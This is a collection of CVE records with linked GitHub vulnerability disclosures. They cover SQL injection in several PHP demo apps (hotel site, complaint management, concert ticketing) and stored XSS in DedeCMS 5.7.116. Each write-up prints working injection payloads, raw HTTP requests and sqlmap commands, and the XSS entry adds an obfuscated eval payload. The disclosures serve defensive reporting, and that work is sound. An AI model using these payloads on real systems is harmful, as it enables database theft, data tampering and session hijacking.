# code-projects Responsive Hotel Site Using PHP With Source Code v1.0 room.php SQL injection # troom OF AFFECTED PRODUCT(S) + Responsive Hotel Site Using PHP With Source Code ## Vendor Homepage + https://code-projects.org/responsive-hotel-site-using-php-source-code/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter + w0r1dtr33 ## Vulnerable File + room.php ## VERSION(S) + V1.0 ## Software Link + https://download.code-projects.org/details/b75079c7-3ff5-4d6a-a577-d810d0b1bca7 # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'room.php' file of the 'Responsive Hotel Site Using PHP With Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter "troom " and use it directly in SQL queries without appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. <img width="801" alt="1" src="https://github.com/user-attachments/assets/1aa9b913-caa3-4dc2-93a4-3e3599b5c452"> ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + Due to insufficient user input verification for the "troom " parameter, a serious SQL injection vulnerability has been discovered in the "Responsive Hotel Site Using PHP With Source Code", allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information without logging in. Immediate remedial measures are needed to ensure system security and protect data integrity. # Vulnerability details and POC ``` POST /admin/room.php HTTP/1.1 Host: 192.168.0.102:1216 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 40 Origin: http://192.168.0.102:1216 Connection: close Referer: http://192.168.0.102:1216/admin/room.php Cookie: PHPSESSID=ng2789oib9vsb0mictkp8o643v; style=purple; pma_lang=zh_CN; phpMyAdmin=t2g57v03vkkbesjgc2f4ilfdnj; pmaUser-1=%7B%22iv%22%3A%22L3HPyp65gVKUXHbQXSGimQ%3D%3D%22%2C%22mac%22%3A%22e2f2810d18a3550dc9f45569457f2c63a2814d30%22%2C%22payload%22%3A%22LKyIvWiZugcK0dpJ1wIEPw%3D%3D%22%7D; pmaAuth-1=%7B%22iv%22%3A%22rIC0LmcjLVFVOdDOSbV2uA%3D%3D%22%2C%22mac%22%3A%2276401df3cf1f90a94f780e56fb01180474904234%22%2C%22payload%22%3A%22t5DcyNu3uz0Q1xidsHos9LaDq4gzTsYdXixu3OBW%2BhU%3D%22%7D Upgrade-Insecure-Requests: 1 Priority: u=0, i troom=Deluxe+Room&bed=Single&add=Add+New ``` ## Vulnerability type: + time-based blind + boolean-based blind + error-based ## Vulnerability location: + 'troom ' parameter ## Payload: ``` Parameter: troom (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: troom=Deluxe Room' RLIKE (SELECT (CASE WHEN (8573=8573) THEN 0x44656c75786520526f6f6d ELSE 0x28 END))-- sXYw&bed=Single&add=Add New Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: troom=Deluxe Room' AND (SELECT 3699 FROM(SELECT COUNT(*),CONCAT(0x716a707171,(SELECT (ELT(3699=3699,1))),0x716b766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- pIGF&bed=Single&add=Add New Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: troom=Deluxe Room' AND (SELECT 7122 FROM (SELECT(SLEEP(5)))Ezmh)-- onro&bed=Single&add=Add New ``` <img width="317" alt="2" src="https://github.com/user-attachments/assets/ebf3f0b9-1e28-4b4e-8ee6-7dda91410de0"> ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -r 123 --batch --dbs ``` <img width="319" alt="3" src="https://github.com/user-attachments/assets/db09ac4b-7429-40e4-a491-897a1710ae74"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

code-projects Responsive Hotel Site Using PHP With Source Code v1.0 room.php SQL injection

https://api.github.com/repos/w0r1dtr33/cve/issues/2/comments

0

2024-11-18T01:59:25Z

2024-11-26T02:53:02Z

https://github.com/w0r1dtr33/cve/issues/2

2,666,849,791

2

6,429

CVE-2024-11964

2024-11-28T17:15:18.500

A vulnerability, which was classified as critical, was found in PHPGurukul Complaint Management system 1.0. This affects an unknown part of the file /user/index.php. The manipulation of the argument emailid leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/Aurora0x1/CVE/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Aurora0x1", "CVE" ]

# Phpgurukul Complaint Management system V1.0 /user/index.php SQL injection # NAME OF AFFECTED PRODUCT(S) - Complaint Management system ## Vendor Homepage - https://phpgurukul.com/complaint-management-sytem/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter - Aurora0x1 ## Vulnerable File - /user/index.php ## VERSION(S) - V1.0 ## Software Link - https://phpgurukul.com/wp-content/uploads/2017/12/Complaint-Management-System-PHP.zip # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the '/user/index.php' file of the 'Complaint Management system' project. The reason for this issue is that attackers inject malicious code from the parameter 'emailid' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Complaint Management system", Aurora0x1 discovered a critical SQL injection vulnerability in the "/user/index.php" file. This vulnerability stems from insufficient user input validation of the 'emailid' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: - 'emailid' parameter ## Payload: ```makefile Parameter: emailid (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: emailid=-6365' OR 7234=7234-- CyUF&inputuserpwd=123123&submit= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: emailid=12@qq.com' AND (SELECT 8953 FROM (SELECT(SLEEP(5)))GKix)-- FhVy&inputuserpwd=123123&submit= ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "192.168.134.167:1111/user/index.php" --data="emailid=12%40qq.com&inputuserpwd=123123&submit=" --batch --level=5 --risk=3 --random-agent --tamper-space2comment --dbs ``` - <img width="569" alt="image" src="https://github.com/user-attachments/assets/d9450c27-aa9a-4c81-93a9-4d027abe2cf1"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Phpgurukul Complaint Management system V1.0 /user/index.php SQL injection

https://api.github.com/repos/Aurora0x1/CVE/issues/1/comments

0

2024-11-26T12:04:42Z

https://github.com/Aurora0x1/CVE/issues/1

2,694,436,002

1

6,430

CVE-2024-11965

2024-11-28T17:15:19.383

A vulnerability has been found in PHPGurukul Complaint Management system 1.0 and classified as critical. This vulnerability affects unknown code of the file /user/reset-password.php. The manipulation of the argument email leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/Aurora0x1/CVE/issues/2

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Aurora0x1", "CVE" ]

# Phpgurukul Complaint Management system V1.0 /user/reset-password.php SQL injection # NAME OF AFFECTED PRODUCT(S) - Complaint Management system ## Vendor Homepage - https://phpgurukul.com/complaint-management-sytem/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter - Aurora0x1 ## Vulnerable File - /user/reset-password.php ## VERSION(S) - V1.0 ## Software Link - https://phpgurukul.com/wp-content/uploads/2017/12/Complaint-Management-System-PHP.zip # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the '/user/reset-password.php' file of the 'Complaint Management system' project. The reason for this issue is that attackers inject malicious code from the parameter 'email' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Complaint Management system", Aurora0x1 discovered a critical SQL injection vulnerability in the "/user/reset-password.php" file. This vulnerability stems from insufficient user input validation of the 'email' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: - 'email' parameter ## Payload: ```makefile Parameter: email (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: email=-8429' OR 2277=2277 OR 'XSsm'='yJbA&mobileno=111&newpassword=qqq&confirmpassword=qqq&resetpwd= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: email=11@qq.com' AND (SELECT 6691 FROM (SELECT(SLEEP(5)))uDaT) OR 'mFBs'='zHAV&mobileno=111&newpassword=qqq&confirmpassword=qqq&resetpwd= ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap.py -u "http://192.168.134.167:1111/user/reset-password.php" --data="email=11%40qq.com&mobileno=111&newpassword=qqq&confirmpassword=qqq&resetpwd=" --batch --level=5 --risk=3 --dbms=mysql --random-agent --tamper=space2comment --dbs ``` -![image](https://github.com/user-attachments/assets/685465ae-8483-4366-9127-e515f975a916) # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Phpgurukul Complaint Management system V1.0 /user/reset-password.php SQL injection

https://api.github.com/repos/Aurora0x1/CVE/issues/2/comments

0

2024-11-26T12:12:34Z

https://github.com/Aurora0x1/CVE/issues/2

2,694,458,823

2

6,431

CVE-2024-11966

2024-11-28T18:15:07.547

A vulnerability was found in PHPGurukul Complaint Management system 1.0 and classified as critical. This issue affects some unknown processing of the file /admin/index.php. The manipulation of the argument username leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/Aurora0x1/CVE/issues/3

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Aurora0x1", "CVE" ]

# Phpgurukul Complaint Management system V1.0 /admin/index.php SQL injection # NAME OF AFFECTED PRODUCT(S) - Complaint Management system ## Vendor Homepage - https://phpgurukul.com/complaint-management-sytem/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter - Aurora0x1 ## Vulnerable File - /admin/index.php ## VERSION(S) - V1.0 ## Software Link - https://phpgurukul.com/wp-content/uploads/2017/12/Complaint-Management-System-PHP.zip # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the '/admin/index.php' file of the 'Complaint Management system' project. The reason for this issue is that attackers inject malicious code from the parameter 'username' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Complaint Management system", Aurora0x1 discovered a critical SQL injection vulnerability in the "/admin/index.php" file. This vulnerability stems from insufficient user input validation of the 'username' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: - 'username' parameter ## Payload: ```makefile Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: username=-6272' OR 4717=4717 OR 'SKQq'='QLIk&password=11111&submit= Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=admin' AND (SELECT 5597 FROM(SELECT COUNT(*),CONCAT(0x71626a7871,(SELECT (ELT(5597=5597,1))),0x7162766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR 'elQB'='bgCP&password=11111&submit= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=admin' AND (SELECT 1453 FROM (SELECT(SLEEP(5)))OMhF) OR 'Yjdg'='ZWXj&password=11111&submit= ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap.py -u "http://192.168.134.167:1111/admin/index.php" --data="email=11%40qq.com&mobileno=111&newpassword=qqq&confirmpassword=qqq&resetpwd=" --batch --level=5 --risk=3 --dbms=mysql --random-agent --tamper=space2comment --dbs ``` - ![image](https://github.com/user-attachments/assets/d38d16b5-805c-481b-aa80-a8d9ca34cf8f) # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Phpgurukul Complaint Management system V1.0 /admin/index.php SQL injection

https://api.github.com/repos/Aurora0x1/CVE/issues/3/comments

0

2024-11-26T12:17:07Z

2024-11-26T12:17:08Z

https://github.com/Aurora0x1/CVE/issues/3

2,694,472,180

3

6,432

CVE-2024-11967

2024-11-28T18:15:07.780

A vulnerability was found in PHPGurukul Complaint Management system 1.0. It has been classified as critical. Affected is an unknown function of the file /admin/reset-password.php. The manipulation of the argument email leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

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[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Aurora0x1/CVE/issues/4" }, { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://phpgurukul.com/" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required" ], "url": "https://vuldb.com/?ctiid.286350" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required" ], "url": "https://vuldb.com/?id.286350" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?submit.452477" } ]

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[ "89" ]

89

https://github.com/Aurora0x1/CVE/issues/4

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Aurora0x1", "CVE" ]

# Phpgurukul Complaint Management system V1.0 /admin/reset-password.php SQL injection # NAME OF AFFECTED PRODUCT(S) - Complaint Management system ## Vendor Homepage - https://phpgurukul.com/complaint-management-sytem/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter - Aurora0x1 ## Vulnerable File - /admin/reset-password.php ## VERSION(S) - V1.0 ## Software Link - https://phpgurukul.com/wp-content/uploads/2017/12/Complaint-Management-System-PHP.zip # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the '/admin/reset-password.php' file of the 'Complaint Management system' project. The reason for this issue is that attackers inject malicious code from the parameter 'email' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Complaint Management system", Aurora0x1 discovered a critical SQL injection vulnerability in the "/admin/reset-password.php" file. This vulnerability stems from insufficient user input validation of the 'email' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: - 'email' parameter ## Payload: ```makefile Parameter: email (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: email=-6190' OR 5267=5267 OR 'oDaN'='pHRK&mobileno=111&newpassword=111&confirmpassword=111&resetpwd= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: email=11@qq.com' AND (SELECT 7525 FROM (SELECT(SLEEP(5)))YKnM) OR 'Gsdw'='vzDP&mobileno=111&newpassword=111&confirmpassword=111&resetpwd= ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap.py -u "192.168.134.167:1111/admin/reset-password.php" --data="email=11%40qq.com&mobileno=111&newpassword=111&confirmpassword=111&resetpwd=" --batch --level=5 --risk=3 --dbms=mysql --random-agent --tamper=space2comment --dbs ``` - ![image](https://github.com/user-attachments/assets/9d12282c-3d7a-447d-83d0-f54ba9dda984) # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Phpgurukul Complaint Management system V1.0 /admin/reset-password.php SQL injection

https://api.github.com/repos/Aurora0x1/CVE/issues/4/comments

0

2024-11-26T12:22:58Z

https://github.com/Aurora0x1/CVE/issues/4

2,694,487,435

4

6,433

CVE-2024-11970

2024-11-28T22:15:14.277

A vulnerability classified as critical has been found in code-projects Concert Ticket Ordering System 1.0. Affected is an unknown function of the file /tour(cor).php. The manipulation of the argument mai leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

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[ { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://code-projects.org/" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/halhalz/1/issues/1" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required" ], "url": "https://vuldb.com/?ctiid.286380" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?id.286380" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?submit.453376" } ]

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[ "89" ]

89

https://github.com/halhalz/1/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "halhalz", "1" ]

# code-projects.org"Concert Ticket Ordering System" in PHP 1.0 "tour(cor).php" SQL injection # NAME OF AFFECTED PRODUCT(S) + Concert Ticket Ordering System IN PHP, CSS, JavaScript, AND MYSQL | FREE DOWNLOAD ## Vendor Homepage + https://code-projects.org/concert-ticket-ordering-system-in-php-css-javascript-and-mysql-free-download/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter + 海南世纪网安信息技术有限公司 ## Vulnerable File + tour(cor).php ## VERSION(S) + V1.0 ## Software Link + https://download.code-projects.org/details/3ce4b2e0-a200-4ef1-ae7f-eccc6b829c4e # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'tour(cor).php' file of the 'Concert Ticket Ordering System' project. The reason for this issue is that attackers inject malicious code from the parameter "mai" and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of the PHP "Concert Ticket Ordering System", "海南世纪网安信息技术有限公司" discovered a critical SQL injection vulnerability in the "tour(cor).php" file. This vulnerability stems from insufficient user input validation of the "mai" parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC --- POST /tour(cor).php HTTP/1.1 Host: 192.168.1.117:142 Content-Length: 35 Cache-Control: max-age=0 Origin: http://192.168.1.117:142/ Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://192.168.1.117:142/tour.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=erq92s0keru6d7kbsvpalu60e4 Connection: keep-alive mai=1%40qq.com&pwd=1&commit=Sign+in --- ## Vulnerability type: + time-based blind + error-based ## Vulnerability location: + 'mai' parameter ## Payload: --- Parameter: mai (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: mai=[1@qq.com](mailto:1@qq.com)'||(SELECT 0x426f7651 WHERE 1368=1368 AND (SELECT 1408 FROM(SELECT COUNT(*),CONCAT(0x71716a6a71,(SELECT (ELT(1408=1408,1))),0x717a787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&pwd=1&commit=Sign in Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: mai=1@qq.com'||(SELECT 0x64426d4e WHERE 9386=9386 AND (SELECT 2689 FROM (SELECT(SLEEP(5)))htaU))||'&pwd=1&commit=Sign in --- +![1](https://github.com/user-attachments/assets/2d4d7336-14a0-40e4-b4bf-b1442d685b8d) ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: + ![2](https://github.com/user-attachments/assets/6c94e8c1-affb-4d4b-8867-2d3add3a6f75) +![3](https://github.com/user-attachments/assets/7a716fc8-26dd-46be-b9c5-dd5947a7032a) + ![4](https://github.com/user-attachments/assets/c429104d-2830-496a-a85e-f267b4efcb6e) # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

code-projects.org"Concert Ticket Ordering System" in PHP 1.0 "tour(cor).php" SQL injection

https://api.github.com/repos/halhalz/1/issues/1/comments

0

2024-11-28T03:15:56Z

https://github.com/halhalz/1/issues/1

2,700,612,926

1

6,434

CVE-2024-12180

2024-12-04T22:15:22.140

A vulnerability classified as problematic has been found in DedeCMS 5.7.116. Affected is an unknown function of the file /member/article_add.php. The manipulation of the argument body leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

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[ "79" ]

79

https://github.com/Hebing123/cve/issues/76

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Hebing123", "cve" ]

# Summary A stored Cross-Site Scripting (XSS) vulnerability has been identified in the DedeCMS V5.7.116 content management system. The vulnerability exists due to insufficient filtering of the `body` parameter in the `/member/article_add.php` script. This issue allows an attacker to inject malicious scripts into articles, potentially compromising the security of the website and its users. ![image](https://github.com/user-attachments/assets/5f976089-925e-410b-beed-f4449fa699c2) # Details The vulnerability is present in the /member/article_add.php script, which does not adequately sanitize the body parameter. It seems to filter script only as a keyword. ![image](https://github.com/user-attachments/assets/d8bd6fa7-08e2-4b30-85a5-8ce6734ee77b) An attacker with the ability to register as a member and publish articles can exploit this flaw by injecting malicious scripts into the article content. These scripts can be executed when other users view the compromised article. ![image](https://github.com/user-attachments/assets/4b94f474-ce74-48cc-848c-c094b1c89434) # Proof of Concept (POC) ``` POST /member/article_add.php HTTP/1.1 Host: target-ip Content-Length: 1486 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygmYQeymvUKxn4KdV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: [users'cookie] Connection: keep-alive ------WebKitFormBoundarygmYQeymvUKxn4KdV Content-Disposition: form-data; name="dopost" save ------WebKitFormBoundarygmYQeymvUKxn4KdV Content-Disposition: form-data; name="channelid" 1 ------WebKitFormBoundarygmYQeymvUKxn4KdV Content-Disposition: form-data; name="title" test ------WebKitFormBoundarygmYQeymvUKxn4KdV Content-Disposition: form-data; name="tags" test ------WebKitFormBoundarygmYQeymvUKxn4KdV Content-Disposition: form-data; name="writer" test ------WebKitFormBoundarygmYQeymvUKxn4KdV Content-Disposition: form-data; name="typeid" 1 ------WebKitFormBoundarygmYQeymvUKxn4KdV Content-Disposition: form-data; name="mtypesid" 0 ------WebKitFormBoundarygmYQeymvUKxn4KdV Content-Disposition: form-data; name="description" test ------WebKitFormBoundarygmYQeymvUKxn4KdV Content-Disposition: form-data; name="litpic"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarygmYQeymvUKxn4KdV Content-Disposition: form-data; name="dede_addonfields" ------WebKitFormBoundarygmYQeymvUKxn4KdV Content-Disposition: form-data; name="dede_fieldshash" [users'fieldshash] ------WebKitFormBoundarygmYQeymvUKxn4KdV Content-Disposition: form-data; name="body" <input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7YS50ZXh0ID0gJ2NvbnNvbGUubG9nKCJoZWJpbmcxMjMiKSc7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= autofocus> ------WebKitFormBoundarygmYQeymvUKxn4KdV-- ``` ![image](https://github.com/user-attachments/assets/e696d2b2-d00d-4f44-90e0-6c0160c99e55) The above POC will insert a script into the article that, when viewed, will execute `console.log("hebing123")`. This is a simple demonstration, but the script could be more harmful, such as stealing cookies, capturing keystrokes, or redirecting users to malicious sites. ![image](https://github.com/user-attachments/assets/9efcc133-ea46-4410-b599-89fcf2b5930f)

DedeCMS V5.7.116 Stored XSS Vulnerability

https://api.github.com/repos/Hebing123/cve/issues/76/comments

1

2024-11-27T07:03:17Z

2024-12-06T02:28:49Z

https://github.com/Hebing123/cve/issues/76

2,697,386,582

76

6,435

CVE-2024-12181

2024-12-04T22:15:22.360

A vulnerability classified as problematic was found in DedeCMS 5.7.116. Affected by this vulnerability is an unknown functionality of the file /member/uploads_add.php of the component SWF File Handler. The manipulation of the argument mediatype leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

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[ "79" ]

79

https://github.com/Hebing123/cve/issues/77

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Hebing123", "cve" ]

